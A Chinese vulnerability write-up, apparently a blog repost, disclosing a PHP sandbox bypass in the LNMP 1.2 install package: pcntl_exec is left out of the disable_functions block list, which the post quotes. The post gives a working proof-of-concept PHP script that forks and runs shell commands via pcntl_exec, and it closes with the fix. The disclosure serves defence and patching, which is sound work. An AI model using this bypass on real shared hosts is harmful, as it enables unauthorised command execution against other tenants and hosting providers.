LNMP虚拟主机PHP沙盒绕过/命令执行

lnmp更新1.2版本,很多东西都升级了,很棒。不过还是发现一个BUG。

LNMP是一款linux下nginx、php、mysql一键安装包。

下载:http://soft.vpser.net/lnmp/lnmp1.2.tar.gz

执行一个命令即可简单安装。

漏洞详情

LNMP是这样配置沙盒的:

  1. disable_functions,配置在 include/php.sh中:

其值为:

1
passthru,exec,system,chroot,scandir,chgrp,chown,shell_exec,proc_open,proc_get_status,popen,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,stream_socket_server,fsocket
  1. open_basedir,在创建虚拟主机的时候配置:

如上图,方法是在虚拟主机跟目录里,新建一个.user.ini文件,并通过这个ini设置open_basedir,并用chattr +i赋予其不可修改的权限。

但如果php可以执行系统命令的话,open_basedir也没什么意义了。

我们看看编译php的选项:

可见开启了PHP默认不开启的pcntl:–enable-pcntl。

我们看前面,pcntl_exec是没有被禁用了。不知道为什么,这个版本把pcntl_exec的禁用给去掉了,这就导致了虚拟主机的沙盒绕过、命令执行。

给出pcntl_exec执行命令的方法。

pcntl_exec是类似windows下的shell.application。需要我们先写一个脚本文件,然后用其执行。

POC如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
header("Content-Type: text/plain");
$cmd="/tmp/exec";
@unlink($cmd);
@unlink("/tmp/output");
$c = "#!/usr/bin/env bash\nuname -a > /tmp/output\n";
file_put_contents($cmd, $c);
chmod($cmd, 0777);
 
switch (pcntl_fork()) {
case 0:
$ret = pcntl_exec($cmd);
exit("case 0");
default:
echo "case 1";
break;
}

写一个脚本,执行命令后把结果输出到/tmp/output。

然后用pcntl_fork(),fork出一个子进程,在子进程里调用pcntl_exec执行这个脚本。否则在父进程里执行pcntl_exec后会导致进程一直处在等待状态,最后导致502。

然后查看output,echo file_get_contents("/tmp/output");

执行任意命令沙盒bypass,虚拟主机也就没什么意义了。

解决方案

禁用pcntl_exec,或者不要–enable-pcntl

转:LNMP虚拟主机PHP沙盒绕过/命令执行(php exec命令被禁之后)的更多相关文章

  1. CVE-2015-1427(Groovy 沙盒绕过 && 代码执行漏洞)

    1.vulhub环境搭建 https://blog.csdn.net/qq_36374896/article/details/84102101 2.启动docker环境 cd vulhub-maste ...

  2. lnmp 虚拟主机配置及重写

    lnmp安装与调试,请看 http://www.cnblogs.com/lin3615/p/4376224.html 虚拟主机的配置编辑nginx配置文件 nginx.conf此为主配置文件 vim ...

  3. git 沙河游戏节点图, 自由沙盒模拟git, 各类交互git命令

    git学习练习总资源链接: https://try.github.io/ (练习已通,有document) 本沙盒游戏教学:https://learngitbranching.js.org/?demo ...

  4. 【iOS开发必收藏】详解iOS应用程序内使用IAP/StoreKit付费、沙盒(SandBox)测试、创建测试账号流程!【2012-12-11日更新获取”产品付费数量等于0的问题”】

    转的别人的 看到很多童鞋问到,为什么每次都返回数量等于0?? 其实有童鞋已经找到原因了,原因是你在 ItunesConnect 里的 “Contracts, Tax, and Banking”没有完成 ...

  5. 沙盒 sandbox 简记随笔

    沙盒又称沙箱(sandbox),是一种按照  安全策略  限制  程序行为  的  执行环境. “沙盒”技术的实践运用流程是: 1. 让疑似病毒文件的可疑行为在虚拟的“沙盒”里充分运行,“沙盒”会记下 ...

  6. <转>iOS应用程序内使用IAP/StoreKit付费、沙盒(SandBox)测试、创建测试账号流程!

    原文地址:http://blog.csdn.net/xiaominghimi/article/details/6937097 //——2012-12-11日更新   获取"产品付费数量等于0 ...

  7. 如何导入大sql文件到虚拟主机mysql数据库

    大部分网站虚拟主机为了安全起见,都限制了通过命令或者phpMyAdmin导入大sql文件到mysql数据库,例如godaddy只允许站长通过phpMyAdmin上传不超过2m的sql文件,但实际上我们 ...

  8. 【转】详解iOS应用程序内使用IAP/StoreKit付费、沙盒(SandBox)测试、创建测试账号流程

    http://blog.csdn.net/xiaominghimi/article/details/6937097 //——2012-12-11日更新   获取"产品付费数量等于0这个问题& ...

  9. 详解iOS应用程序内使用IAP/StoreKit付费、沙盒(SandBox)测试、创建测试账号流程

    Himi  原创, 欢迎转载,转载请在明显处注明! 谢谢. 原文地址:http://blog.csdn.net/xiaominghimi/article/details/6937097 //——201 ...

随机推荐

  1. libuv在mingw下编译

    libuv是一个基于事件的异步IO库,来自node.js项目. libuv提供了Makefile.mingw,供MingW编译,由其中的规则我们可以得到一下编译步骤: cd libuv/src gcc ...

  2. js-之闭包的理解

    说说你对闭包的理解? 答:闭包是能够读取其它函数内部变量的函数.本质上闭包是将函数内部和函数外部连接起来的一座桥梁.由于js的链式作用域,因为函数也是对象,函数内部访问函数外部的变量就类似于子对象一级 ...

  3. dva 笔记

    最简单的结构 // 创建应用 const app = dva(); // 注册 Model app.model({ namespace: 'count', state: 0, reducers: { ...

  4. NOIP2013 提高组 Day2

    期望得分:100+100+30+=230+ 实际得分:100+70+30=200 T2 觉得题目描述有歧义: 若存在2i却不存在2i+1,自己按不合法做的,实际是合法的 T3  bfs 难以估分 虽然 ...

  5. HDU 2582 规律 素因子

    定义$Gcd(n)=gcd(\binom{n}{1},\binom{n}{2}...\binom{n}{n-1})$,$f(n)=\sum_{i=3}^{n}{Gcd(i)}$,其中$(3<=n ...

  6. 2015/10/9 Python基础(21):可调用和可执行对象

    在Python中有多种运行外部程序的方法,比如,运行操作系统命令或另外的Python脚本,或执行一个磁盘上的文件,或通过网络来运行文件.这完全取决于想要干什么.特定的环境包括: 在当前脚本继续运行 创 ...

  7. CSS3实现鼠标hover的过渡效果

    我想让鼠标放在div上就让它旋转变大,离开div后它又恢复本来的样子. 于是我就想写一个JS,监听一个hover事件,当hover发生的时候,触发一个计时器,在计时器里写两个值,一个管角度,一个管宽度 ...

  8. Eng1—English daily notes

    English daily notes 2015年 4月 Phrases 1. As a side note #作为附注,顺便说句题外话,和by the way意思相近,例句: @1:As a sid ...

  9. windos下创建软链接,附Linux下创建软链接

    用过好多次老是忘记: 写在这里忘了就来看下 Windows下(win7) mklink /D D:\phpStudy\WWW\yii\school\teacher\web\uploads\public ...

  10. JSON简介——(0)

    JSON: JavaScript Object Notation(JavaScript 对象表示法) JSON 是存储和交换文本信息的语法.类似 XML. JSON 比 XML 更小.更快,更易解析. ...